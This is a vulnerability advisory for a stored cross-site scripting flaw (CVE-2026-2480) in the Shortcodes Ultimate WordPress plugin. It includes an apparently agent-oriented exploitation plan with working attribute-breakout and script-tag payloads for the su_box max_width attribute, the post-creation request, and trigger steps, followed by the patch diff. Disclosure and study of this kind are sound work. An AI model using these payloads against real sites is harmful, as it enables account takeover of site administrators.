CVE-2026-2480

WP Shortcodes Plugin — Shortcodes Ultimate <= 7.4.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'max_width' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
7.5.0
Patched in
1d
Time to patch

Description

The WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the `su_box` shortcode in all versions up to, and including, 7.4.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.4.10
PublishedMarch 31, 2026
Last updatedMarch 31, 2026
Affected pluginshortcodes-ultimate

What Changed in the Fix

Changes introduced in v7.5.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-2480 ## 1. Vulnerability Summary The **Shortcodes Ultimate** plugin (versions <= 7.4.10) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the rendering of the `su_box` shortcode. Specifically, the `max_width` attribute i…

Show full research plan

Exploitation Research Plan - CVE-2026-2480

1. Vulnerability Summary

The Shortcodes Ultimate plugin (versions <= 7.4.10) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the rendering of the su_box shortcode. Specifically, the max_width attribute is reflected into the HTML output without sufficient sanitization or attribute escaping. Authenticated users with at least contributor privileges can exploit this to inject malicious JavaScript into posts or pages, which then executes in the browser of any user (including administrators) who views the content.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for storing the shortcode) and the public-facing post/page URL (for execution).
  • Shortcode: [su_box]
  • Vulnerable Attribute: max_width
  • Authentication Level: Contributor or higher (users who can create/edit posts).
  • Preconditions: The plugin must be active, and a user with contributor roles must be able to create a post containing shortcodes.

3. Code Flow

The precise sink is located in the shortcode rendering logic (likely in includes/functions-shortcodes.php, referenced in Shortcodes_Ultimate::load_dependencies but not fully provided in the source).

  1. Entry: A Contributor saves a post containing: [su_box max_width='100%;" onmouseover="alert(document.domain)"']...[/su_box].
  2. Storage: WordPress saves this raw shortcode string in the post_content column of the wp_posts table.
  3. Processing: When the post is viewed, WordPress calls do_shortcode(), which triggers the registered callback for su_box.
  4. Rendering: The callback extracts the max_width attribute. It fails to use esc_attr() or a similar sanitization function before placing it into the style attribute of a div element.
  5. Sink: The resulting HTML looks approximately like:
    <div class="su-box" style="max-width:100%;" onmouseover="alert(document.domain)"">...</div>
    
  6. Execution: When an administrator moves their mouse over the box, the XSS executes.

4. Nonce Acquisition Strategy

To save a post as a Contributor, a standard WordPress _wpnonce for the post editor is required.

  1. Login: Use the browser_navigate and browser_type tools to log in as a Contributor.
  2. Navigate: Navigate to wp-admin/post-new.php.
  3. Extract: Use browser_eval to extract the nonce and the post ID (if autosaved) from the DOM.
    • Nonce: document.querySelector('#_wpnonce').value
    • Post ID: document.querySelector('#post_ID').value

Note: While Su_Generator in inc/core/generator.php registers AJAX actions like su_generator_preview, these are for the UI preview. The "Stored" nature of this CVE refers to the post content itself.

5. Exploitation Strategy

Step 1: Authentication and Nonce Extraction

  • Action: Log in as contributor.
  • Action: Navigate to wp-admin/post-new.php.
  • JS Extraction:
    {
        "nonce": document.querySelector('#_wpnonce').value,
        "post_id": document.querySelector('#post_ID').value,
        "author": document.querySelector('#post_author').value
    }
    

Step 2: Injected Post Creation

  • Tool: http_request
  • Method: POST
  • URL: http://vulnerable-wp.local/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • _wpnonce: [EXTRACTED_NONCE]
    • action: editpost
    • post_ID: [EXTRACTED_POST_ID]
    • post_type: post
    • post_title: Stored XSS PoC
    • post_status: publish (if contributor has permission) or pending
    • content: [su_box title="XSS Box" max_width='600px; font-size: 50px;" onmouseover="alert(document.domain)"']Hover over this box to trigger XSS[/su_box]

Step 3: Triggering the XSS

  • Action: Log in as admin.
  • Action: Navigate to the URL of the newly created post: http://vulnerable-wp.local/?p=[POST_ID].
  • Action: Use browser_move_mouse to hover over the rendered box element.

6. Test Data Setup

  1. Plugin: Install and activate shortcodes-ultimate version 7.4.10.
  2. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password

7. Expected Results

  • The HTTP request to post.php should return a 302 redirect to the post edit page, indicating success.
  • When viewing the post source, the su-box div should contain the broken style attribute:
    style="max-width:600px; font-size: 50px;" onmouseover="alert(document.domain)"
  • The browser should trigger an alert dialog containing the site domain when the box is hovered.

8. Verification Steps

  1. CLI Check: Verify the post content in the database.
    • wp post get [POST_ID] --field=post_content
    • Output should contain the malicious [su_box ...] string.
  2. DOM Check: Use browser_eval on the post page to check for the presence of the onmouseover handler.
    • browser_eval("document.querySelector('.su-box').getAttribute('onmouseover')")
    • Should return: alert(document.domain)

9. Alternative Approaches

If onmouseover is blocked by a site-wide security policy (e.g., a basic WAF), attempt to break out of the style tag entirely to inject a script tag:

  • Payload: 600px;"></style><script>alert(document.domain)</script><style>"
  • Resulting HTML:
    <div class="su-box" style="max-width:600px;"></style><script>alert(document.domain)</script><style>">...</div>
    
    This payload closes the style attribute, closes the div (implicitly or via the style tag hack), and executes a script tag directly.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the su_box shortcode. Authenticated attackers with contributor-level permissions or higher can inject malicious JavaScript into the style attribute of the rendered box element, which executes when a user interacts with or views the affected page.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/admin/css/admin.css /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/admin/css/admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/admin/css/admin.css	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/admin/css/admin.css	2026-03-23 19:21:32.000000000 +0000
@@ -1 +1 @@
-.su-admin-u-hidden{display:none}.su-admin-c-button{display:inline-block;padding:7px 15px;border-radius:3px;background:#0073d7;color:#fff;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:0 1px 2px #004581;font-weight:600;font-size:.85rem;cursor:pointer}.su-admin-c-button:hover{background:rgb(38.25,136,221);color:#fff;text-decoration:none}.su-admin-c-button:active,.su-admin-c-button:focus{background:rgb(0,86.25,161.25);color:#fff;text-decoration:none}.su-admin-c-notice-pro{margin:-10px -12px 12px -10px;padding:size-base();background:#fff7c6;box-shadow:0 1px 10px rgba(147.9,128.18,0,.4)}.su-admin-c-notice-pro p{margin:0;font-weight:500;font-size:.95rem}.su-admin-c-notice-pro p+p{margin:size-base(.75) 0 0}.su-admin-c-notice-pro .button{text-transform:uppercase;font-weight:700}@media screen and (min-width:783px){.su-admin-c-notice-pro{display:flex;align-items:center;justify-content:space-between;margin:-10px -20px 12px -22px;padding:size-base(.75) size-base()}.su-admin-c-notice-pro p+p{margin:0 0 0 size-base()}.su-admin-c-notice-pro .button{padding:size-base(.25) size-base(.75)}}body.toplevel_page_shortcodes-ultimate{background:#fff}body.toplevel_page_shortcodes-ultimate .notice,body.toplevel_page_shortcodes-ultimate .updated{display:none!important}.su-admin-about{margin:60px auto;padding-right:10px}@media screen and (min-width:783px){.su-admin-about{margin:100px auto;padding-right:20px}}.su-admin-about-page-header{margin:0 auto;max-width:540px;text-align:center}.su-admin-about-page-header img{width:64px;height:64px}.su-admin-about-page-header h1{margin:25px 0 10px;padding:0;font-weight:700;font-size:1.45rem}.su-admin-about-page-header p{margin:0;font-size:.9rem}@media only screen and (min-width:783px){.su-admin-about-page-header img{width:84px;height:84px}.su-admin-about-page-header h1{margin:30px 0 10px;font-size:2rem}.su-admin-about-page-header p{font-size:1rem}}.su-admin-about-getting-started{margin:30px auto 0;max-width:960px}.su-admin-about-getting-started-video{position:relative;padding-top:56.25%;background:#f5f5f5}@keyframes su-admin-about-getting-started-video-loading{0%{opacity:1}60%{opacity:1}80%{opacity:0}100%{opacity:1}}.su-admin-about-getting-started-video-loading{animation:su-admin-about-getting-started-video-loading 2s infinite}.su-admin-about-getting-started-video-button,.su-admin-about-getting-started-video-iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.su-admin-about-getting-started-video-button{display:flex;align-items:center;flex-direction:column;justify-content:center;margin:0;padding:0;border:none;border-radius:3px;background:#ccc url(../images/pages/about/poster.jpg) no-repeat;background-size:cover;color:inherit;font-size:100%;font-family:inherit;cursor:pointer;-webkit-appearance:none;-moz-appearance:none}.su-admin-about-getting-started-video-button.su-admin-u-hidden{display:none}.su-admin-about-getting-started-video-button svg{width:64px;height:64px;color:#0073d7;transition:transform .4s ease;transform:scale(1)}.su-admin-about-getting-started-video-button:active svg,.su-admin-about-getting-started-video-button:focus svg,.su-admin-about-getting-started-video-button:hover svg{transform:scale(1.2)}.su-admin-about-getting-started-video-button span{margin-top:20px;color:#000;text-shadow:0 1px 3px #fff;font-weight:500;font-size:.9rem}.su-admin-about-getting-started p{margin:1rem 0 0}@media only screen and (min-width:783px){.su-admin-about-getting-started{margin:80px auto 0}.su-admin-about-getting-started-video-button span{font-size:1rem}.su-admin-about-getting-started-video-button svg{width:80px;height:80px}}.su-admin-about-popular{margin-top:60px}.su-admin-about-popular h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}.su-admin-about-popular p{margin:15px auto 0;max-width:540px;text-align:center;font-size:.9rem}.su-admin-about-popular-grid{margin:40px auto 0;max-width:400px}.su-admin-about-popular-item{display:flex;align-items:flex-start;margin:0 0 25px}.su-admin-about-popular-item-icon{flex:0 0 auto;margin-right:15px;background:#fff}.su-admin-about-popular-item-title{display:block;margin-bottom:5px;text-transform:capitalize;font-weight:700;font-size:1rem;line-height:24px}.su-admin-about-popular-item-description{color:#777}.su-admin-about-popular-bottom{margin-top:20px;text-align:center}.su-admin-about-popular-bottom .button{display:inline-flex;align-items:center;padding:.4rem 1.2rem;text-transform:uppercase;font-weight:500;font-size:.9rem}.su-admin-about-popular-bottom svg{margin:-2px 0 0 7.4px}@media only screen and (min-width:783px){.su-admin-about-popular{margin-top:100px}.su-admin-about-popular h2{font-size:2rem}.su-admin-about-popular p{margin-top:20px;font-size:1rem}.su-admin-about-popular-grid{display:flex;flex-wrap:wrap;justify-content:space-between;margin:60px auto 0;max-width:640px}.su-admin-about-popular-item{flex:0 0 45%;margin:0 0 35px}}.su-admin-about-upgrade{position:relative;margin:60px -10px 0;padding:40px 25px 30px;max-width:800px;background:linear-gradient(to bottom,#282828,#000);color:#fff}.su-admin-about-upgrade::before{position:absolute;top:0;right:0;left:0;display:block;width:100%;height:5px;background-image:linear-gradient(45deg,#d168f7 0,#d168f7 12.5%,#f768b2 12.5%,#f768b2 25%,#f78968 25%,#f78968 37.5%,#f7f568 37.5%,#f7f568 50%,#8ef768 50%,#8ef768 62.5%,#68f7ad 62.5%,#68f7ad 75%,#68d6f7 75%,#68d6f7 87.5%,#686af7 87.5%,#686af7 100%);content:""}.su-admin-about-upgrade-features{flex:0 0 64%}.su-admin-about-upgrade-features h2{margin:0;color:#fff;text-align:center;font-weight:700;font-size:1.65rem}.su-admin-about-upgrade-features-list{display:flex;justify-content:center}.su-admin-about-upgrade-features-list ul{margin:30px 0 0}.su-admin-about-upgrade-features-list li{position:relative;box-sizing:border-box;margin:0;padding:0 0 0 22px;font-size:.9rem;line-height:1.5}.su-admin-about-upgrade-features-list li::before{position:absolute;top:0;left:0;display:block;width:12px;height:1.35rem;background:0 50% url(../images/pages/about/check.svg) no-repeat;content:""}.su-admin-about-upgrade-features-list li+li{margin-top:5px}.su-admin-about-upgrade-buy{display:flex;flex:0 0 30%;flex-direction:column;justify-content:center;margin-top:35px}.su-admin-about-upgrade-buy-pricing{margin-bottom:25px;text-align:center}.su-admin-about-upgrade-buy-pricing-price{display:flex;justify-content:center}.su-admin-about-upgrade-buy-pricing-currency{color:#ddd;font-weight:500;font-size:25px;line-height:1}.su-admin-about-upgrade-buy-pricing-value{margin:0 5px 0 2px;vertical-align:top;font-weight:700;font-size:65px;line-height:.7}.su-admin-about-upgrade-buy-pricing-period{margin-top:10px;color:#a2a2a2;font-size:.8rem}.su-admin-about-upgrade-buy-button{display:block;padding:15px;font-size:1rem;line-height:1.5}@media only screen and (min-width:783px){.su-admin-about-upgrade{display:flex;justify-content:space-between;margin:100px auto 0;padding:50px 40px;border-radius:5px}.su-admin-about-upgrade::before{border-top-left-radius:5px;border-top-right-radius:5px}.su-admin-about-upgrade-features h2{font-size:1.65rem;text-align:left}.su-admin-about-upgrade-features-list{display:block}.su-admin-about-upgrade-features-list ul{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));grid-gap:10px 20px}.su-admin-about-upgrade-features-list li+li{margin-top:0}.su-admin-about-upgrade-buy{margin:0}}.su-admin-about-help{margin-top:100px}.su-admin-about-help h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}@media only screen and (min-width:783px){.su-admin-about-help h2{font-size:2rem}}.su-admin-about-help-menu{display:flex;justify-content:center;margin-top:40px}.su-admin-about-help-menu ul{margin:0}.su-admin-about-help-menu li{margin:0}.su-admin-about-help-menu li+li{margin-top:10px}.su-admin-about-help-menu a{position:relative;display:block;padding-left:30px;text-decoration:none;font-weight:500;font-size:1rem;line-height:1.5}.su-admin-about-help-menu a:active,.su-admin-about-help-menu a:focus,.su-admin-about-help-menu a:hover{text-decoration:underline}.su-admin-about-help-menu svg{position:absolute;top:.225rem;left:0;width:1.1rem;height:1.1rem;color:#333}.su-admin-about-help-menu em{padding:.15rem .3rem;border-radius:3px;background:#f1f1f1;color:#000;font-weight:700;font-style:normal;font-size:.8rem;line-height:1}@media only screen and (min-width:783px){.su-admin-about-help-menu ul{display:flex}.su-admin-about-help-menu li{flex:0 1 auto}.su-admin-about-help-menu li+li{margin:0 0 0 40px}}.su-admin-settings-page-title{display:flex!important;align-items:center}.su-admin-settings-page-title img{margin-right:13px}.su-admin-settings-form{max-width:800px}.su-admin-settings-form .CodeMirror{height:auto;border:1px solid #7e8993}.su-admin-settings-form .CodeMirror-scroll{min-height:100px;max-height:80vh}.su-admin-settings-form details{margin:20px 0}.su-admin-settings-form summary{font-weight:600;cursor:pointer}.su-admin-settings-form details>article{margin-top:20px}.su-admin-settings-form p.description{margin-top:10px}.su-admin-settings-bottom-menu li{position:relative;display:inline-block;margin:0}.su-admin-settings-bottom-menu li+li{margin-left:32px}.su-admin-settings-bottom-menu li+li::before{position:absolute;top:20%;left:-15px;display:block;height:70%;border-left:1px solid #ccd0d4;content:""}
\ No newline at end of file
+.su-admin-u-hidden{display:none}.su-admin-c-button{display:inline-block;padding:7px 15px;border-radius:3px;background:#0073d7;color:#fff;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:0 1px 2px #004581;font-weight:600;font-size:.85rem;cursor:pointer}.su-admin-c-button:hover{background:rgb(38.25,136,221);color:#fff;text-decoration:none}.su-admin-c-button:active,.su-admin-c-button:focus{background:rgb(0,86.25,161.25);color:#fff;text-decoration:none}.su-admin-c-notice-pro{margin:-10px -12px 12px -10px;padding:20px;background:#fff7c6;box-shadow:0 1px 10px rgba(147.9,128.18,0,.4)}.su-admin-c-notice-pro p{margin:0;font-weight:500;font-size:.95rem}.su-admin-c-notice-pro p+p{margin:15px 0 0}.su-admin-c-notice-pro .button{text-transform:uppercase;font-weight:700}@media screen and (min-width:783px){.su-admin-c-notice-pro{display:flex;align-items:center;justify-content:space-between;margin:-10px -20px 12px -22px;padding:15px 20px}.su-admin-c-notice-pro p+p{margin:0 0 0 20px}.su-admin-c-notice-pro .button{padding:5px 15px}}body.toplevel_page_shortcodes-ultimate{background:#fff}body.toplevel_page_shortcodes-ultimate .notice,body.toplevel_page_shortcodes-ultimate .updated{display:none!important}.su-admin-about{margin:60px auto;padding-right:10px}@media screen and (min-width:783px){.su-admin-about{margin:100px auto;padding-right:20px}}.su-admin-about-page-header{margin:0 auto;max-width:540px;text-align:center}.su-admin-about-page-header img{width:64px;height:64px}.su-admin-about-page-header h1{margin:25px 0 10px;padding:0;font-weight:700;font-size:1.45rem}.su-admin-about-page-header p{margin:0;font-size:.9rem}@media only screen and (min-width:783px){.su-admin-about-page-header img{width:84px;height:84px}.su-admin-about-page-header h1{margin:30px 0 10px;font-size:2rem}.su-admin-about-page-header p{font-size:1rem}}.su-admin-about-getting-started{margin:30px auto 0;max-width:960px}.su-admin-about-getting-started-video{position:relative;padding-top:56.25%;background:#f5f5f5}@keyframes su-admin-about-getting-started-video-loading{0%{opacity:1}60%{opacity:1}80%{opacity:0}100%{opacity:1}}.su-admin-about-getting-started-video-loading{animation:su-admin-about-getting-started-video-loading 2s infinite}.su-admin-about-getting-started-video-button,.su-admin-about-getting-started-video-iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.su-admin-about-getting-started-video-button{display:flex;align-items:center;flex-direction:column;justify-content:center;margin:0;padding:0;border:none;border-radius:3px;background:#ccc url(../images/pages/about/poster.jpg) no-repeat;background-size:cover;color:inherit;font-size:100%;font-family:inherit;cursor:pointer;-webkit-appearance:none;-moz-appearance:none}.su-admin-about-getting-started-video-button.su-admin-u-hidden{display:none}.su-admin-about-getting-started-video-button svg{width:64px;height:64px;color:#0073d7;transition:transform .4s ease;transform:scale(1)}.su-admin-about-getting-started-video-button:active svg,.su-admin-about-getting-started-video-button:focus svg,.su-admin-about-getting-started-video-button:hover svg{transform:scale(1.2)}.su-admin-about-getting-started-video-button span{margin-top:20px;color:#000;text-shadow:0 1px 3px #fff;font-weight:500;font-size:.9rem}.su-admin-about-getting-started p{margin:1rem 0 0}@media only screen and (min-width:783px){.su-admin-about-getting-started{margin:80px auto 0}.su-admin-about-getting-started-video-button span{font-size:1rem}.su-admin-about-getting-started-video-button svg{width:80px;height:80px}}.su-admin-about-popular{margin-top:60px}.su-admin-about-popular h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}.su-admin-about-popular p{margin:15px auto 0;max-width:540px;text-align:center;font-size:.9rem}.su-admin-about-popular-grid{margin:40px auto 0;max-width:400px}.su-admin-about-popular-item{display:flex;align-items:flex-start;margin:0 0 25px}.su-admin-about-popular-item-icon{flex:0 0 auto;margin-right:15px;background:#fff}.su-admin-about-popular-item-title{display:block;margin-bottom:5px;text-transform:capitalize;font-weight:700;font-size:1rem;line-height:24px}.su-admin-about-popular-item-description{color:#777}.su-admin-about-popular-bottom{margin-top:20px;text-align:center}.su-admin-about-popular-bottom .button{display:inline-flex;align-items:center;padding:.4rem 1.2rem;text-transform:uppercase;font-weight:500;font-size:.9rem}.su-admin-about-popular-bottom svg{margin:-2px 0 0 7.4px}@media only screen and (min-width:783px){.su-admin-about-popular{margin-top:100px}.su-admin-about-popular h2{font-size:2rem}.su-admin-about-popular p{margin-top:20px;font-size:1rem}.su-admin-about-popular-grid{display:flex;flex-wrap:wrap;justify-content:space-between;margin:60px auto 0;max-width:640px}.su-admin-about-popular-item{flex:0 0 45%;margin:0 0 35px}}.su-admin-about-upgrade{position:relative;margin:60px -10px 0;padding:40px 25px 30px;max-width:800px;background:linear-gradient(to bottom,#282828,#000);color:#fff}.su-admin-about-upgrade::before{position:absolute;top:0;right:0;left:0;display:block;width:100%;height:5px;background-image:linear-gradient(45deg,#d168f7 0,#d168f7 12.5%,#f768b2 12.5%,#f768b2 25%,#f78968 25%,#f78968 37.5%,#f7f568 37.5%,#f7f568 50%,#8ef768 50%,#8ef768 62.5%,#68f7ad 62.5%,#68f7ad 75%,#68d6f7 75%,#68d6f7 87.5%,#686af7 87.5%,#686af7 100%);content:""}.su-admin-about-upgrade-features{flex:0 0 64%}.su-admin-about-upgrade-features h2{margin:0;color:#fff;text-align:center;font-weight:700;font-size:1.65rem}.su-admin-about-upgrade-features-list{display:flex;justify-content:center}.su-admin-about-upgrade-features-list ul{margin:30px 0 0}.su-admin-about-upgrade-features-list li{position:relative;box-sizing:border-box;margin:0;padding:0 0 0 22px;font-size:.9rem;line-height:1.5}.su-admin-about-upgrade-features-list li::before{position:absolute;top:0;left:0;display:block;width:12px;height:1.35rem;background:0 50% url(../images/pages/about/check.svg) no-repeat;content:""}.su-admin-about-upgrade-features-list li+li{margin-top:5px}.su-admin-about-upgrade-buy{display:flex;flex:0 0 30%;flex-direction:column;justify-content:center;margin-top:35px}.su-admin-about-upgrade-buy-pricing{margin-bottom:25px;text-align:center}.su-admin-about-upgrade-buy-pricing-price{display:flex;justify-content:center}.su-admin-about-upgrade-buy-pricing-currency{color:#ddd;font-weight:500;font-size:25px;line-height:1}.su-admin-about-upgrade-buy-pricing-value{margin:0 5px 0 2px;vertical-align:top;font-weight:700;font-size:65px;line-height:.7}.su-admin-about-upgrade-buy-pricing-period{margin-top:10px;color:#a2a2a2;font-size:.8rem}.su-admin-about-upgrade-buy-button{display:block;padding:15px;font-size:1rem;line-height:1.5}@media only screen and (min-width:783px){.su-admin-about-upgrade{display:flex;justify-content:space-between;margin:100px auto 0;padding:50px 40px;border-radius:5px}.su-admin-about-upgrade::before{border-top-left-radius:5px;border-top-right-radius:5px}.su-admin-about-upgrade-features h2{font-size:1.65rem;text-align:left}.su-admin-about-upgrade-features-list{display:block}.su-admin-about-upgrade-features-list ul{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));grid-gap:10px 20px}.su-admin-about-upgrade-features-list li+li{margin-top:0}.su-admin-about-upgrade-buy{margin:0}}.su-admin-about-help{margin-top:100px}.su-admin-about-help h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}@media only screen and (min-width:783px){.su-admin-about-help h2{font-size:2rem}}.su-admin-about-help-menu{display:flex;justify-content:center;margin-top:40px}.su-admin-about-help-menu ul{margin:0}.su-admin-about-help-menu li{margin:0}.su-admin-about-help-menu li+li{margin-top:10px}.su-admin-about-help-menu a{position:relative;display:block;padding-left:30px;text-decoration:none;font-weight:500;font-size:1rem;line-height:1.5}.su-admin-about-help-menu a:active,.su-admin-about-help-menu a:focus,.su-admin-about-help-menu a:hover{text-decoration:underline}.su-admin-about-help-menu svg{position:absolute;top:.225rem;left:0;width:1.1rem;height:1.1rem;color:#333}.su-admin-about-help-menu em{padding:.15rem .3rem;border-radius:3px;background:#f1f1f1;color:#000;font-weight:700;font-style:normal;font-size:.8rem;line-height:1}@media only screen and (min-width:783px){.su-admin-about-help-menu ul{display:flex}.su-admin-about-help-menu li{flex:0 1 auto}.su-admin-about-help-menu li+li{margin:0 0 0 40px}}.su-admin-settings-page-title{display:flex!important;align-items:center}.su-admin-settings-page-title img{margin-right:13px}.su-admin-settings-form{max-width:800px}.su-admin-settings-form .CodeMirror{height:auto;border:1px solid #7e8993}.su-admin-settings-form .CodeMirror-scroll{min-height:100px;max-height:80vh}.su-admin-settings-form details{margin:20px 0}.su-admin-settings-form summary{font-weight:600;cursor:pointer}.su-admin-settings-form details>article{margin-top:20px}.su-admin-settings-form p.description{margin-top:10px}.su-admin-settings-bottom-menu li{position:relative;display:inline-block;margin:0}.su-admin-settings-bottom-menu li+li{margin-left:32px}.su-admin-settings-bottom-menu li+li::before{position:absolute;top:20%;left:-15px;display:block;height:70%;border-left:1px solid #ccd0d4;content:""}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/admin/partials/pages/about.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/admin/partials/pages/about.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/admin/partials/pages/about.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/admin/partials/pages/about.php	2026-03-23 19:21:32.000000000 +0000
@@ -55,16 +55,15 @@
 					<h2><?php esc_html_e( 'Upgrade to PRO', 'shortcodes-ultimate' ); ?></h2>
 					<div class="su-admin-about-upgrade-features-list">
 						<ul>
+							<li><?php esc_html_e( 'Elementor support', 'shortcodes-ultimate' ); ?></li>
+							<li><?php esc_html_e( 'Personal email support', 'shortcodes-ultimate' ); ?></li>
 							<li><?php esc_html_e( 'Parallax Section shortcode', 'shortcodes-ultimate' ); ?></li>
-							<li><?php esc_html_e( 'Custom PHP shortcodes', 'shortcodes-ultimate' ); ?></li>
 							<li><?php esc_html_e( 'Content Slider shortcode', 'shortcodes-ultimate' ); ?></li>
-							<li><?php esc_html_e( 'Personal email support', 'shortcodes-ultimate' ); ?></li>
 							<li><?php esc_html_e( 'Testimonail shortcode', 'shortcodes-ultimate' ); ?></li>
-							<li><?php esc_html_e( '24 styles for Heading', 'shortcodes-ultimate' ); ?></li>
 							<li><?php esc_html_e( 'Progress Bar shortcode', 'shortcodes-ultimate' ); ?></li>
-							<li><?php esc_html_e( '14 styles for Spoiler', 'shortcodes-ultimate' ); ?></li>
 							<li><?php esc_html_e( 'Exit Popup shortcode', 'shortcodes-ultimate' ); ?></li>
-							<li><?php esc_html_e( '13 styles for Tabs', 'shortcodes-ultimate' ); ?></li>
+							<li><?php esc_html_e( 'Custom HTML & PHP shortcodes', 'shortcodes-ultimate' ); ?></li>
+							<li><?php esc_html_e( 'Over 50 additional styles for selected shortcodes', 'shortcodes-ultimate' ); ?></li>
 						</ul>
 					</div>
 				</div>
@@ -72,7 +71,7 @@
 					<div class="su-admin-about-upgrade-buy-pricing">
 						<div class="su-admin-about-upgrade-buy-pricing-price">
 							<span class="su-admin-about-upgrade-buy-pricing-currency">$</span>
-							<span class="su-admin-about-upgrade-buy-pricing-value">39</span>
+							<span class="su-admin-about-upgrade-buy-pricing-value">49</span>
 						</div>
 						<div class="su-admin-about-upgrade-buy-pricing-period"><?php esc_html_e( 'per year', 'shortcodes-ultimate' ); ?></div>
 					</div>
Only in /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/freemius/assets/img: shortcodes-ultimate.png
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/inc/core/generator.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/inc/core/generator.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/inc/core/generator.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/inc/core/generator.php	2026-03-23 19:21:32.000000000 +0000
@@ -149,7 +149,7 @@
 		wp_enqueue_script(
 			'shortcodes-ultimate-block-editor',
 			plugins_url('includes/js/block-editor/index.js', SU_PLUGIN_FILE),
-			array('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data', 'su-generator'),
+			array('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data'),
 			SU_PLUGIN_VERSION,
 			true
 		);
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/class-shortcodes-ultimate.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/class-shortcodes-ultimate.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/class-shortcodes-ultimate.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/class-shortcodes-ultimate.php	2026-03-23 19:21:32.000000000 +0000
@@ -268,6 +268,10 @@
         add_filter( 'su/data/shortcodes', array($this->admin_pro_features, 'add_generator_cta') );
     }
 
+    public function freemius_tracking_allowed() {
+        return su_fs()->is_registered() && su_fs()->is_tracking_allowed();
+    }
+
     /**
      * Register all of the hooks related to both admin area and public part of
      * the plugin.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/functions-helpers.php /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/functions-helpers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.4.9/includes/functions-helpers.php	2026-02-02 16:19:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/includes/functions-helpers.php	2026-03-23 19:21:32.000000000 +0000
@@ -380,6 +380,32 @@
 
 }
 
+function su_sanitize_css_property_value( $value ) {
+	return preg_replace( '/[^a-z0-9\s\.\#\,\(\)\%\-]/i', '', $value );
+}
+
+function su_sanitize_css_value( $value, $default = 'none' ) {
+
+	$value = trim( $value );
+
+	if ( '' === $value ) {
+		return $default;
+	}
+
+	$keywords = array( 'none', 'auto', 'inherit', 'initial', 'unset', 'max-content', 'min-content', 'fit-content' );
+
+	if ( in_array( strtolower( $value ), $keywords, true ) ) {
+		return strtolower( $value );
+	}
+
+	if ( preg_match( '/^-?\d+(\.\d+)?(px|em|rem|%|vw|vh|vmin|vmax|ch|ex|cm|mm|in|pt|pc)?$/i', $value ) ) {
+		return $value;
+	}
+
+	return $default;
+
+}
+
 /**
  * Helper to get the current page URL
  * @return string Current page URL
